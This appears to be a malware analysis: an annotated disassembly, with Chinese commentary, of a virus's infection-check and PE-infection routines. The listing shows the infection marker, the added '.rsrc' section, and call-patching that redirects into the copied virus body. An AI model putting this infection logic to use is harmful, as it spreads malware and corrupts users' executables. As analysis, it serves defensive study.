.text:004020AB                 push    [ebp+Section_TABLE.offset_in_file]
.text:004020B1                 push    50h
.text:004020B3                 lea     eax, [ebp+First_0x50_bytes_of_every_section]
.text:004020B6                 push    eax
.text:004020B7                 push    [ebp+hfile]
.text:004020BA                 call    Read_fILE
.text:004020BF                 test    eax, eax
.text:004020C1                 jz      short @closehandle
.text:004020C3                 lea     edi, [ebp+First_0x50_bytes_of_every_section]
.text:004020C6                 mov     eax, [edi]
.text:004020C8                 mov     esi, 50h
.text:004020CD
.text:004020CD @decrypt_first_0x50_section:            ; CODE XREF: Check_Infect_Or_not+10Bj
.text:004020CD                 test    esi, esi
.text:004020CF                 jz      short @check_infect_or_not
.text:004020D1                 xor     [edi], eax
.text:004020D3                 sub     esi, 4
.text:004020D6                 add     edi, 4
.text:004020D9                 jmp     short @decrypt_first_0x50_section
.text:004020DB ; ---------------------------------------------------------------------------
.text:004020DB



    如果解密后的第二个dword = 0x77582588 说明已经被感染,继续检查,第三个dword 应该为0x1xxxx形式,
    third_dword & 0xffff要大于等于传进来的要抽取多少个call的数量,否则的话也不会设定已经被感染


.text:004020DB @check_infect_or_not:                   ; CODE XREF: Check_Infect_Or_not+101j
.text:004020DB                 cmp     dword ptr [ebp+First_0x50_bytes_of_every_section+4], 77582588h
.text:004020E2                 jnz     short @next_section
.text:004020E4                 mov     eax, dword ptr [ebp+First_0x50_bytes_of_every_section+8]
.text:004020E7                 test    eax, 10000h
.text:004020EC                 jnz     short @already_infected
.text:004020EE                 and     eax, 0FFFFh
.text:004020F3                 cmp     eax, [ebp+arg_4_patch_call_num]
.text:004020F6                 jge     short @already_infected
.text:004020F8                 jmp     short @closehandle
.text:004020FA ; ---------------------------------------------------------------------------
.text:004020FA
.text:004020FA @next_section:                          ; CODE XREF: Check_Infect_Or_not+114j
.text:004020FA                 add     ebx, 28h
.text:004020FD                 dec     ecx
.text:004020FE                 jmp     short @loop_section_check
.text:00402100 ; ---------------------------------------------------------------------------
.text:00402100
.text:00402100 @already_infected:                      ; CODE XREF: Check_Infect_Or_not+11Ej
.text:00402100                                         ; Check_Infect_Or_not+128j
.text:00402100                 mov     [ebp+is_infected], 1
.text:00402107
.text:00402107 @closehandle:                           ; CODE XREF: Check_Infect_Or_not+61j
.text:00402107                                         ; Check_Infect_Or_not+70j ...
.text:00402107                 push    [ebp+hfile]
.text:0040210A ; nop code
.text:00402112 ; ---------------------------------------------------------------------------
.text:00402112                 call    CloseHandle
.text:00402118
.text:00402118 loc_402118:                             ; CODE XREF: Check_Infect_Or_not+43j
.text:00402118                 mov     eax, [ebp+is_infected]
.text:0040211B                 pop     esi
.text:0040211C                 pop     edi
.text:0040211D                 pop     edx
.text:0040211E                 pop     ecx
.text:0040211F                 pop     ebx
.text:00402120                 leave
.text:00402121                 retn    8
感染过程,病毒作者应该没有考虑pe文件有overlay的情况,如果有overlay会被病毒代码直接复写掉:

代码:
.text:00402124 Infect_EXE_dll  proc near               ; CODE XREF: infect_known_file+82p
.text:00402124                                         ; Infect_with_flag+171p ...
.text:00402124
.text:00402124 Section         = S_PE_SECTION ptr -30Ch
.text:00402124 PEHEADER        = S_PE_HEADER ptr -2E4h
.text:00402124 MZHeader        = S_MZ_HEADER ptr -1ECh
.text:00402124 First_0x64_bytes_of_every_section= byte ptr -1ACh
.text:00402124 patch_call_info = patch_call_info ptr -148h
.text:00402124 counter         = dword ptr -48h
.text:00402124 alloc_address1  = dword ptr -44h
.text:00402124 Section.size_in_file= dword ptr -40h
.text:00402124 Section.offset_in_file= dword ptr -3Ch
.text:00402124 Section.relative_virtual_address= dword ptr -38h
.text:00402124 Section.size_in_file_chuyi_6= dword ptr -34h
.text:00402124 is_infected     = dword ptr -30h
.text:00402124 sizeof_added_section_960a_file_aligment= dword ptr -2Ch
.text:00402124 filesize_mod_filealigment= dword ptr -28h
.text:00402124 oep             = dword ptr -24h
.text:00402124 sizeof_alloc_address2= dword ptr -20h
.text:00402124 alloc_address2  = dword ptr -1Ch
.text:00402124 filesize        = dword ptr -18h
.text:00402124 lase_section_table_end= dword ptr -14h
.text:00402124 filesize_file_aligment= dword ptr -10h
.text:00402124 sizeof_added_section_960a_image_aligment= dword ptr -0Ch
.text:00402124 rva_jia_vsize_of_lastsection_image_aligment= dword ptr -8
.text:00402124 hFile           = dword ptr -4
.text:00402124 arg_0_file_to_be_infected= dword ptr  8
.text:00402124 arg_4_patch_call_num= dword ptr  0Ch
.text:00402124
.text:00402124                 push    ebp
.text:00402125                 mov     ebp, esp
.text:00402127                 add     esp, 0FFFFFCF4h
.text:0040212D                 push    esi
.text:0040212E                 push    edi
.text:0040212F                 push    ecx
.text:00402130                 push    edx
.text:00402131                 push    ebx
.text:00402132                 mov     [ebp+is_infected], 0
.text:00402139                 mov     eax, 0FFFFh
.text:0040213E                 and     [ebp+arg_4_patch_call_num], eax

      打开文件判断是否是pe文件
.text:00402141                 push    0               ; hTemplateFile
.text:00402143                 push    80h             ; dwFlagsAndAttributes
.text:00402148                 push    3               ; dwCreationDisposition
.text:0040214A                 push    0               ; lpSecurityAttributes
.text:0040214C                 push    3               ; dwShareMode
.text:0040214E                 push    0C0000000h      ; dwDesiredAccess
.text:00402153                 push    [ebp+arg_0_file_to_be_infected] ; lpFileName
.text:00402156 ; nop code
.text:0040215E                 call    CreateFileA
.text:00402164                 cmp     eax, 0FFFFFFFFh
.text:00402167                 jz      @fail
.text:0040216D                 mov     [ebp+hFile], eax
.text:00402170                 push    0
.text:00402172                 push    40h
.text:00402174                 lea     eax, [ebp+MZHeader]
.text:0040217A                 push    eax
.text:0040217B                 push    [ebp+hFile]
.text:0040217E                 call    Read_fILE       ; arg_0_file_handle= dword ptr  8
.text:0040217E                                         ; arg_4_outputbuffer= dword ptr  0Ch
.text:0040217E                                         ; arg_8_read_size = dword ptr  10h
.text:0040217E                                         ; arg_C_read_offset_from_file_begin= dword ptr  14h
.text:00402183                 test    eax, eax
.text:00402185                 jz      @closehandle
.text:0040218B                 cmp     word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:00402194                 jnz     @closehandle
.text:0040219A                 push    [ebp+MZHeader.new_hdr_offset]
.text:004021A0                 push    0F8h
.text:004021A5                 lea     eax, [ebp+PEHEADER]
.text:004021AB                 push    eax
.text:004021AC                 push    [ebp+hFile]
.text:004021AF                 call    Read_fILE       ; arg_0_file_handle= dword ptr  8
.text:004021AF                                         ; arg_4_outputbuffer= dword ptr  0Ch
.text:004021AF                                         ; arg_8_read_size = dword ptr  10h
.text:004021AF                                         ; arg_C_read_offset_from_file_begin= dword ptr  14h
.text:004021B4                 test    eax, eax
.text:004021B6                 jz      @closehandle
.text:004021BC                 cmp     dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:004021C6                 jnz     @closehandle
.text:004021CC                 xor     ecx, ecx
.text:004021CE                 xor     edx, edx
.text:004021D0                 mov     [ebp+Section.size_in_file], edx
.text:004021D3                 mov     ebx, [ebp+MZHeader.new_hdr_offset]
.text:004021D9                 add     ebx, 0F8h


        节的数目不能大于0x10
.text:004021DF                 movzx   ecx, [ebp+PEHEADER.number_of_Sections]
.text:004021E6                 cmp     ecx, 10h
.text:004021E9                 ja      @closehandle



        判断是否已经被感染
.text:004021EF
.text:004021EF @check_infect_or_not:                   ; CODE XREF: Infect_EXE_dll+19Dj
.text:004021EF                 test    ecx, ecx
.text:004021F1                 jz      loc_4022C6
.text:004021F7                 push    ebx
.text:004021F8                 push    28h
.text:004021FA                 lea     eax, [ebp+Section]
.text:00402200                 push    eax
.text:00402201                 push    [ebp+hFile]
.text:00402204                 call    Read_fILE       ; arg_0_file_handle= dword ptr  8
.text:00402204                                         ; arg_4_outputbuffer= dword ptr  0Ch
.text:00402204                                         ; arg_8_read_size = dword ptr  10h
.text:00402204                                         ; arg_C_read_offset_from_file_begin= dword ptr  14h
.text:00402209                 test    eax, eax
.text:0040220B                 jz      @closehandle
.text:00402211                 test    [ebp+Section.flags], 20000000h
.text:0040221B                 jz      short loc_40223E
.text:0040221D                 cmp     [ebp+Section.size_in_file], 0
.text:00402221                 jnz     short loc_40223E
.text:00402223                 mov     eax, [ebp+Section.offset_in_file]
.text:00402229                 mov     [ebp+Section.offset_in_file], eax
.text:0040222C                 mov     eax, [ebp+Section.size_in_file]
.text:00402232                 mov     [ebp+Section.size_in_file], eax
.text:00402235                 mov     eax, [ebp+Section.relative_virtual_address]
.text:0040223B                 mov     [ebp+Section.relative_virtual_address], eax
.text:0040223E
.text:0040223E loc_40223E:                             ; CODE XREF: Infect_EXE_dll+F7j
.text:0040223E                                         ; Infect_EXE_dll+FDj
.text:0040223E                 push    dword ptr [ebp-2F8h]
.text:00402244                 push    64h
.text:00402246                 lea     eax, [ebp+First_0x64_bytes_of_every_section]
.text:0040224C                 push    eax
.text:0040224D                 push    [ebp+hFile]
.text:00402250                 call    Read_fILE       ; arg_0_file_handle= dword ptr  8
.text:00402250                                         ; arg_4_outputbuffer= dword ptr  0Ch
.text:00402250                                         ; arg_8_read_size = dword ptr  10h
.text:00402250                                         ; arg_C_read_offset_from_file_begin= dword ptr  14h
.text:00402255                 test    eax, eax
.text:00402257                 jz      @closehandle
.text:0040225D                 lea     edi, [ebp+First_0x64_bytes_of_every_section]
.text:00402263                 mov     eax, [edi]
.text:00402265                 mov     esi, 64h
.text:0040226A
.text:0040226A @decrypt_first_0x50_section:            ; CODE XREF: Infect_EXE_dll+152j
.text:0040226A                 test    esi, esi
.text:0040226C                 jz      short @check_infection
.text:0040226E                 xor     [edi], eax
.text:00402270                 sub     esi, 4
.text:00402273                 add     edi, 4
.text:00402276                 jmp     short @decrypt_first_0x50_section
.text:00402278 ; ---------------------------------------------------------------------------
.text:00402278
.text:00402278 @check_infection:                       ; CODE XREF: Infect_EXE_dll+148j
.text:00402278                 cmp     dword ptr [ebp+First_0x64_bytes_of_every_section+4], 77582588h
.text:00402282                 jnz     short loc_4022AB
.text:00402284                 mov     eax, dword ptr [ebp+First_0x64_bytes_of_every_section+8]
.text:0040228A                 test    eax, 10000h
.text:0040228F                 jnz     @already_infected
.text:00402295                 and     eax, 0FFFFh
.text:0040229A                 cmp     eax, [ebp+arg_4_patch_call_num]
.text:0040229D                 jge     @already_infected
.text:004022A3                 mov     [ebp+lase_section_table_end], ebx
.text:004022A6                 jmp     @patched_call_not_enough
.text:004022AB ; ---------------------------------------------------------------------------
.text:004022AB
.text:004022AB loc_4022AB:                             ; CODE XREF: Infect_EXE_dll+15Ej
.text:004022AB                 mov     eax, [ebp+Section.relative_virtual_address]
.text:004022B1                 add     eax, [ebp+Section.virtual_size]
.text:004022B7                 cmp     eax, edx
.text:004022B9                 jbe     short loc_4022BD
.text:004022BB                 mov     edx, eax
.text:004022BD
.text:004022BD loc_4022BD:                             ; CODE XREF: Infect_EXE_dll+195j
.text:004022BD                 add     ebx, 28h
.text:004022C0                 dec     ecx
.text:004022C1                 jmp     @check_infect_or_not
.text:004022C6 ; ---------------------------------------------------------------------------
.text:004022C6
.text:004022C6 loc_4022C6:                             ; CODE XREF: Infect_EXE_dll+CDj
.text:004022C6                 mov     [ebp+rva_jia_vsize_of_lastsection_image_aligment], edx
.text:004022C9                 mov     [ebp+lase_section_table_end], ebx
.text:004022CC                 mov     eax, [ebp+PEHEADER.entry_point_RVA]
.text:004022D2                 mov     [ebp+oep], eax


      判断头部是否有足够的空间添加一个节表,并且有空间且空间必须全部为00
.text:004022D5                 movzx   ecx, [ebp+PEHEADER.number_of_Sections]
.text:004022DC                 mov     eax, 28h
.text:004022E1                 mul     ecx
.text:004022E3                 add     eax, 0F8h
.text:004022E8                 mov     edx, [ebp+PEHEADER.size_of_header]
.text:004022EE                 sub     edx, eax
.text:004022F0                 cmp     edx, 28h
.text:004022F3                 jb      @closehandle
.text:004022F9                 push    [ebp+lase_section_table_end]
.text:004022FC                 push    28h
.text:004022FE                 lea     eax, [ebp+Section]
.text:00402304                 push    eax
.text:00402305                 push    [ebp+hFile]
.text:00402308                 call    Read_fILE       ; arg_0_file_handle= dword ptr  8
.text:00402308                                         ; arg_4_outputbuffer= dword ptr  0Ch
.text:00402308                                         ; arg_8_read_size = dword ptr  10h
.text:00402308                                         ; arg_C_read_offset_from_file_begin= dword ptr  14h
.text:0040230D                 test    eax, eax
.text:0040230F                 jz      @closehandle
.text:00402315                 lea     eax, [ebp+Section]
.text:0040231B                 mov     ecx, 28h
.text:00402320
.text:00402320 @check_:                                ; CODE XREF: Infect_EXE_dll+20Bj
.text:00402320                 test    ecx, ecx
.text:00402322                 jz      short loc_402331
.text:00402324                 cmp     byte ptr [eax], 0
.text:00402327                 jnz     @closehandle
.text:0040232D                 inc     eax
.text:0040232E                 dec     ecx
.text:0040232F                 jmp     short @check_
.text:00402331 ; ---------------------------------------------------------------------------
.text:00402331
.text:00402331 loc_402331:                             ; CODE XREF: Infect_EXE_dll+1FEj
.text:00402331                 push    0               ; lpFileSizeHigh
.text:00402333                 push    [ebp+hFile]     ; hFile
.text:00402336 ; nop code
.text:0040233E ; ---------------------------------------------------------------------------
.text:0040233E                 call    GetFileSize
.text:00402344                 cmp     eax, 0FFFFFFFFh
.text:00402347                 jz      @closehandle
.text:0040234D                 mov     [ebp+filesize], eax
.text:00402350                 xor     edx, edx
.text:00402352                 mov     eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:00402355                 mov     ecx, [ebp+PEHEADER.image_alignment]
.text:0040235B                 div     ecx
.text:0040235D                 test    edx, edx
.text:0040235F                 jz      short loc_402366
.text:00402361                 sub     ecx, edx
.text:00402363                 add     [ebp+rva_jia_vsize_of_lastsection_image_aligment], ecx
.text:00402366
.text:00402366 loc_402366:                             ; CODE XREF: Infect_EXE_dll+23Bj
.text:00402366                 xor     edx, edx
.text:00402368                 mov     [ebp+filesize_mod_filealigment], edx
.text:0040236B                 mov     eax, [ebp+filesize]
.text:0040236E                 mov     [ebp+filesize_file_aligment], eax
.text:00402371                 mov     ecx, [ebp+PEHEADER.file_alignment]
.text:00402377                 div     ecx
.text:00402379                 test    edx, edx
.text:0040237B                 jz      short loc_402385
.text:0040237D                 sub     ecx, edx
.text:0040237F                 mov     [ebp+filesize_mod_filealigment], ecx
.text:00402382                 add     [ebp+filesize_file_aligment], ecx
.text:00402385
.text:00402385 loc_402385:                             ; CODE XREF: Infect_EXE_dll+257j
.text:00402385                 jmp     short loc_4023F3
.text:00402387 ; ---------------------------------------------------------------------------
.text:00402387
.text:00402387 @patched_call_not_enough:               ; CODE XREF: Infect_EXE_dll+182j
.text:00402387                 mov     edi, 14h
.text:0040238C
.text:0040238C loc_40238C:                             ; CODE XREF: Infect_EXE_dll+28Fj
.text:0040238C                 cmp     edi, 54h
.text:0040238F                 jge     short loc_4023B5
.text:00402391                 mov     ecx, dword ptr ss:[edi+ebp+First_0x64_bytes_of_every_section]
.text:00402399                 test    ecx, ecx
.text:0040239B                 jz      short loc_4023B5
.text:0040239D                 push    ecx
.text:0040239E                 push    4
.text:004023A0                 lea     eax, [edi+ebp+First_0x64_bytes_of_every_section+4]
.text:004023A7                 push    eax
.text:004023A8                 push    [ebp+hFile]
.text:004023AB                 call    Write_File      ; arg_0_hFile     = dword ptr  8
.text:004023AB                                         ; arg_4_inputbuffer= dword ptr  0Ch
.text:004023AB                                         ; arg_8_wriesize  = dword ptr  10h
.text:004023AB                                         ; arg_c_offset_to_write_from_file_begin= dword ptr  14h
.text:004023B0                 add     edi, 8
.text:004023B3                 jmp     short loc_40238C
.text:004023B5 ; ---------------------------------------------------------------------------
.text:004023B5
.text:004023B5 loc_4023B5:                             ; CODE XREF: Infect_EXE_dll+26Bj
.text:004023B5                                         ; Infect_EXE_dll+277j
.text:004023B5                 mov     eax, dword ptr [ebp+First_0x64_bytes_of_every_section+0Ch]
.text:004023BB                 mov     [ebp+oep], eax
.text:004023BE                 mov     [ebp+PEHEADER.entry_point_RVA], eax
.text:004023C4                 mov     eax, [ebp+Section.relative_virtual_address]
.text:004023CA                 mov     [ebp+rva_jia_vsize_of_lastsection_image_aligment], eax
.text:004023CD                 mov     eax, [ebp+Section.offset_in_file]
.text:004023D3                 mov     [ebp+filesize_file_aligment], eax
.text:004023D6                 mov     [ebp+filesize], eax
.text:004023D9                 mov     [ebp+filesize_mod_filealigment], 0
.text:004023E0                 mov     eax, [ebp+Section.virtual_size]
.text:004023E6                 sub     [ebp+PEHEADER.size_of_image], eax
.text:004023EC                 dec     [ebp+PEHEADER.number_of_Sections]
.text:004023F3
.text:004023F3 loc_4023F3:                             ; CODE XREF: Infect_EXE_dll:loc_402385j
.text:004023F3                 xor     eax, eax
.text:004023F5                 mov     [ebp+counter], eax
.text:004023F8                 mov     eax, [ebp+Section.size_in_file]
.text:004023FB                 test    eax, eax
.text:004023FD                 jz      @closehandle
.text:00402403                 cmp     eax, 6400000h
.text:00402408                 ja      @closehandle
.text:0040240E                 push    eax             ; dwBytes
.text:0040240F                 push    0               ; uFlags
.text:00402411 ; nop code
.text:00402419 ; ---------------------------------------------------------------------------
.text:00402419                 call    GlobalAlloc
.text:0040241F                 test    eax, eax
.text:00402421                 jz      @closehandle
.text:00402427                 mov     [ebp+alloc_address1], eax
.text:0040242A                 push    [ebp+Section.offset_in_file]
.text:0040242D                 push    [ebp+Section.size_in_file]
.text:00402430                 push    [ebp+alloc_address1]
.text:00402433                 push    [ebp+hFile]
.text:00402436                 call    Read_fILE       ; arg_0_file_handle= dword ptr  8
.text:00402436                                         ; arg_4_outputbuffer= dword ptr  0Ch
.text:00402436                                         ; arg_8_read_size = dword ptr  10h
.text:00402436                                         ; arg_C_read_offset_from_file_begin= dword ptr  14h
.text:0040243B                 test    eax, eax
.text:0040243D                 jnz     short loc_402455
.text:0040243F                 push    [ebp+alloc_address1] ; hMem
.text:00402442 ; nop code
.text:0040244A ; ---------------------------------------------------------------------------
.text:0040244A                 call    GlobalFree
.text:00402450                 jmp     @closehandle
.text:00402455 ; ---------------------------------------------------------------------------
.text:00402455
.text:00402455 loc_402455:                             ; CODE XREF: Infect_EXE_dll+319j
.text:00402455                 mov     ecx, [ebp+Section.size_in_file]
.text:00402458                 mov     esi, [ebp+alloc_address1]
.text:0040245B                 mov     [ebp+Section.size_in_file_chuyi_6], 6
.text:00402462                 xor     edx, edx
.text:00402464                 mov     eax, ecx
.text:00402466                 div     [ebp+Section.size_in_file_chuyi_6]
.text:00402469                 mov     [ebp+Section.size_in_file_chuyi_6], eax



从第一个节的开始搜索call指令,然后判断call指令的目的地址的指令是否是

push reg 或者mov edi,edi 或者sub ebp,xxx

如果满足条件的,则记录下call的相关信息,在下一个块内搜索,否则继续从下一个byte搜索

程序一共搜索了6个call 对有些程序可能不一定能够搜到6个call。
相关结构:

struct patch_call_info
{
+0 dword found_call_dest_address_rva call的目的地址的rva
+4 dword patched_call_fileoffset_jia_1 要patch的call的地址+1的文件偏移 43c
+8 dword patched_call_dword  要patch call的e8后面的dword
+c dword found_call_offset 要patchcall的后面的偏移  0xa33f8                  
}


.text:0040246C
.text:0040246C @found_patch_call:                      ; CODE XREF: Infect_EXE_dll+3FBj
.text:0040246C                                         ; Infect_EXE_dll+402j
.text:0040246C                 cmp     ecx, 0Ah
.text:0040246F                 jbe     loc_40252B
.text:00402475                 cmp     byte ptr [esi], 0E8h
.text:00402478                 jnz     @not
.text:0040247E                 mov     eax, esi
.text:00402480                 sub     eax, [ebp+alloc_address1]
.text:00402483                 add     eax, 5
.text:00402486                 mov     ebx, eax
.text:00402488                 add     eax, [esi+1]
.text:0040248B                 mov     edx, [ebp+Section.size_in_file]
.text:0040248E                 sub     edx, 4
.text:00402491                 cmp     eax, edx
.text:00402493                 jnb     @not
.text:00402499                 add     eax, [ebp+alloc_address1]
.text:0040249C                 mov     edx, [eax]
.text:0040249E                 and     edx, 0F8h
.text:004024A4                 cmp     edx, 50h
.text:004024A7                 jz      short @found
.text:004024A9                 cmp     word ptr [eax], 0EC83h
.text:004024AE                 jz      short @found
.text:004024B0                 cmp     word ptr [eax], 0FF8Bh
.text:004024B4                 jnz     short @not
.text:004024B6
.text:004024B6 @found:                                 ; CODE XREF: Infect_EXE_dll+383j
.text:004024B6                                         ; Infect_EXE_dll+38Aj
.text:004024B6                 mov     edi, [ebp+counter]
.text:004024B9                 shl     edi, 4
.text:004024BC                 sub     eax, [ebp+alloc_address1]
.text:004024BF                 add     eax, [ebp+Section.relative_virtual_address]
.text:004024C2                 mov     ss:[edi+ebp+patch_call_info.found_call_dest_address_rva], eax
.text:004024CA                 mov     eax, ebx
.text:004024CC                 sub     eax, 4
.text:004024CF                 add     eax, [ebp+Section.offset_in_file]
.text:004024D2                 mov     ss:[edi+ebp+patch_call_info.patched_call_fileoffset_jia_1], eax
.text:004024DA                 mov     eax, [ebp+counter]
.text:004024DD                 mov     edx, 0Ah
.text:004024E2                 mul     edx
.text:004024E4                 add     eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004024E7                 add     eax, 5EE3h
.text:004024EC                 add     ebx, [ebp+Section.relative_virtual_address]
.text:004024EF                 sub     eax, ebx
.text:004024F1                 mov     ss:[edi+ebp+patch_call_info.patched_call_dword], eax
.text:004024F9                 mov     eax, [esi+1]
.text:004024FC                 mov     ss:[edi+ebp+patch_call_info.found_call_offset], eax
.text:00402504                 inc     [ebp+counter]
.text:00402507                 cmp     [ebp+counter], 6
.text:0040250B                 jz      short loc_40252B
.text:0040250D                 mov     eax, [ebp+counter]
.text:00402510                 mov     edx, [ebp+Section.size_in_file_chuyi_6]
.text:00402513                 mul     edx
.text:00402515                 mov     ecx, [ebp+Section.size_in_file]
.text:00402518                 sub     ecx, eax
.text:0040251A                 mov     esi, [ebp+alloc_address1]
.text:0040251D                 add     esi, eax
.text:0040251F                 jmp     @found_patch_call
.text:00402524 ; ---------------------------------------------------------------------------
.text:00402524
.text:00402524 @not:                                   ; CODE XREF: Infect_EXE_dll+354j
.text:00402524                                         ; Infect_EXE_dll+36Fj ...
.text:00402524                 dec     ecx
.text:00402525                 inc     esi
.text:00402526                 jmp     @found_patch_call
.text:0040252B ; ---------------------------------------------------------------------------
.text:0040252B
.text:0040252B loc_40252B:                             ; CODE XREF: Infect_EXE_dll+34Bj
.text:0040252B                                         ; Infect_EXE_dll+3E7j
.text:0040252B                 push    [ebp+alloc_address1] ; hMem
.text:0040252E ; nop code
.text:00402536 ; ---------------------------------------------------------------------------
.text:00402536                 call    GlobalFree
.text:0040253C                 cmp     [ebp+counter], 0
.text:00402540                 jz      @closehandle
.text:00402546                 xor     edx, edx
.text:00402548                 mov     eax, 960Ah
.text:0040254D                 mov     [ebp+sizeof_added_section_960a_file_aligment], eax
.text:00402550                 mov     ecx, [ebp+PEHEADER.file_alignment]
.text:00402556                 div     ecx
.text:00402558                 test    edx, edx
.text:0040255A                 jz      short loc_402561
.text:0040255C                 sub     ecx, edx
.text:0040255E                 add     [ebp+sizeof_added_section_960a_file_aligment], ecx
.text:00402561
.text:00402561 loc_402561:                             ; CODE XREF: Infect_EXE_dll+436j
.text:00402561                 xor     edx, edx



      更新pe头
.text:00402563                 mov     [ebp+sizeof_added_section_960a_image_aligment], 960Ah
.text:0040256A                 mov     eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:0040256D                 mov     ecx, [ebp+PEHEADER.image_alignment]
.text:00402573                 div     ecx
.text:00402575                 test    edx, edx
.text:00402577                 jz      short loc_40257E
.text:00402579                 sub     ecx, edx
.text:0040257B                 add     [ebp+sizeof_added_section_960a_image_aligment], ecx
.text:0040257E
.text:0040257E loc_40257E:                             ; CODE XREF: Infect_EXE_dll+453j
.text:0040257E                 inc     [ebp+PEHEADER.number_of_Sections]
.text:00402585                 mov     [ebp+PEHEADER.bound_import_table_RVA], 0
.text:0040258F                 mov     eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:00402592                 add     [ebp+PEHEADER.size_of_image], eax
.text:00402598                 push    [ebp+MZHeader.new_hdr_offset]
.text:0040259E                 push    0F8h
.text:004025A3                 lea     eax, [ebp+PEHEADER]
.text:004025A9                 push    eax
.text:004025AA                 push    [ebp+hFile]
.text:004025AD                 call    Write_File      ; arg_0_hFile     = dword ptr  8
.text:004025AD                                         ; arg_4_inputbuffer= dword ptr  0Ch
.text:004025AD                                         ; arg_8_wriesize  = dword ptr  10h
.text:004025AD                                         ; arg_c_offset_to_write_from_file_begin= dword ptr  14h


      跟新添加节的节表
.text:004025B2                 mov     eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004025B5                 mov     [ebp+Section.relative_virtual_address], eax
.text:004025BB                 mov     eax, [ebp+filesize_file_aligment]
.text:004025BE                 mov     [ebp+Section.offset_in_file], eax
.text:004025C4                 mov     eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:004025C7                 mov     [ebp+Section.size_in_file], eax
.text:004025CD                 mov     eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:004025D0                 mov     [ebp+Section.virtual_size], eax
.text:004025D6                 mov     [ebp+Section.flags], 0E00000E0h
.text:004025E0                 mov     dword ptr [ebp+Section.name], 7273722Eh
.text:004025EA                 mov     dword ptr [ebp+Section.name+4], 63h
.text:004025F4                 push    [ebp+lase_section_table_end]
.text:004025F7                 push    28h
.text:004025F9                 lea     eax, [ebp+Section]
.text:004025FF                 push    eax
.text:00402600                 push    [ebp+hFile]
.text:00402603                 call    Write_File      ; arg_0_hFile     = dword ptr  8
.text:00402603                                         ; arg_4_inputbuffer= dword ptr  0Ch
.text:00402603                                         ; arg_8_wriesize  = dword ptr  10h
.text:00402603                                         ; arg_c_offset_to_write_from_file_begin= dword ptr  14h
.text:00402608                 mov     ecx, [ebp+counter]
.text:0040260B                 xor     edx, edx


      修改第一个节的call的目的地址跳向添加节
.text:0040260D
.text:0040260D @patch_call_to_jmp_added_section:       ; CODE XREF: Infect_EXE_dll+50Ej
.text:0040260D                 test    ecx, ecx
.text:0040260F                 jz      short loc_402634
.text:00402611                 mov     esi, edx
.text:00402613                 shl     esi, 4
.text:00402616                 push    ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:0040261E                 push    4
.text:00402620                 lea     eax, [esi+ebp+patch_call_info.patched_call_dword]
.text:00402627                 push    eax
.text:00402628                 push    [ebp+hFile]
.text:0040262B                 call    Write_File      ; arg_0_hFile     = dword ptr  8
.text:0040262B                                         ; arg_4_inputbuffer= dword ptr  0Ch
.text:0040262B                                         ; arg_8_wriesize  = dword ptr  10h
.text:0040262B                                         ; arg_c_offset_to_write_from_file_begin= dword ptr  14h
.text:00402630                 dec     ecx
.text:00402631                 inc     edx
.text:00402632                 jmp     short @patch_call_to_jmp_added_section
.text:00402634 ; ---------------------------------------------------------------------------
.text:00402634
.text:00402634 loc_402634:                             ; CODE XREF: Infect_EXE_dll+4EBj
.text:00402634                 mov     eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:00402637                 add     eax, [ebp+filesize_mod_filealigment]
.text:0040263A                 mov     [ebp+sizeof_alloc_address2], eax
.text:0040263D                 push    eax             ; dwBytes
.text:0040263E                 push    40h             ; uFlags
.text:00402640 ; nop code
.text:00402648 ; ---------------------------------------------------------------------------



      拷贝病毒体 并记录一些重要信息到添加节的开始处
.text:00402648                 call    GlobalAlloc
.text:0040264E                 test    eax, eax
.text:00402650                 jz      @closehandle
.text:00402656                 mov     [ebp+alloc_address2], eax
.text:00402659                 mov     ecx, 960Ah
.text:0040265E                 mov     edi, [ebp+alloc_address2]
.text:00402661                 add     edi, [ebp+filesize_mod_filealigment]
.text:00402664 ; nop code
.text:0040266B                 mov     esi, offset dword_401000
.text:00402670                 rep movsb               ; 00401000 +filesize_mod_filealigment-> alloc_address2 +filesize_mod_filealigment 0x960a bytes
.text:00402672                 mov     ebx, [ebp+alloc_address2]
.text:00402675                 add     ebx, [ebp+filesize_mod_filealigment]
.text:00402678                 mov     edi, 77582588h
.text:0040267D                 mov     [ebx+4], edi
.text:00402680                 mov     edi, [ebp+arg_4_patch_call_num]
.text:00402683                 mov     [ebx+8], edi
.text:00402686                 mov     eax, [ebp+oep]
.text:00402689                 mov     [ebx+0Ch], eax
.text:0040268C                 mov     edi, ebx
.text:0040268E                 add     edi, 5EDFh
.text:00402694                 mov     dword ptr [edi], 0
.text:0040269A                 xor     edx, edx


          修改添加节的代码使其跳向原始的代码
.text:0040269C
.text:0040269C @patch_call_in_addedsection_jmp_original_place:
.text:0040269C                                         ; CODE XREF: Infect_EXE_dll+5CCj
.text:0040269C                 cmp     edx, [ebp+counter]
.text:0040269F                 jz      short loc_4026F2
.text:004026A1                 mov     esi, edx
.text:004026A3                 shl     esi, 4          ; esi = counter << 4
.text:004026A6                 mov     ecx, ss:[esi+ebp+patch_call_info.found_call_dest_address_rva]
.text:004026AE                 mov     eax, 0Ah
.text:004026B3                 mul     dl
.text:004026B5                 add     eax, 5EE3h
.text:004026BA                 mov     edi, eax
.text:004026BC                 add     edi, 6          ; edi = counter * 0x0a + 5ee3 + 6
.text:004026BF                 add     eax, 0Ah        ; eax =(counter +1)* 0xa + 5ee3
.text:004026C2                 add     eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004026C5                 sub     ecx, eax
.text:004026C7                 add     edi, ebx
.text:004026C9                 mov     [edi], ecx
.text:004026CB                 mov     edi, edx
.text:004026CD                 shl     edi, 3
.text:004026D0                 add     edi, 14h
.text:004026D3                 add     edi, ebx
.text:004026D5                 mov     eax, ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:004026DD                 mov     [edi], eax
.text:004026DF                 mov     eax, ss:[esi+ebp+patch_call_info.found_call_offset]
.text:004026E7                 mov     [edi+4], eax
.text:004026EA                 xor     eax, eax
.text:004026EC                 mov     [edi+8], eax
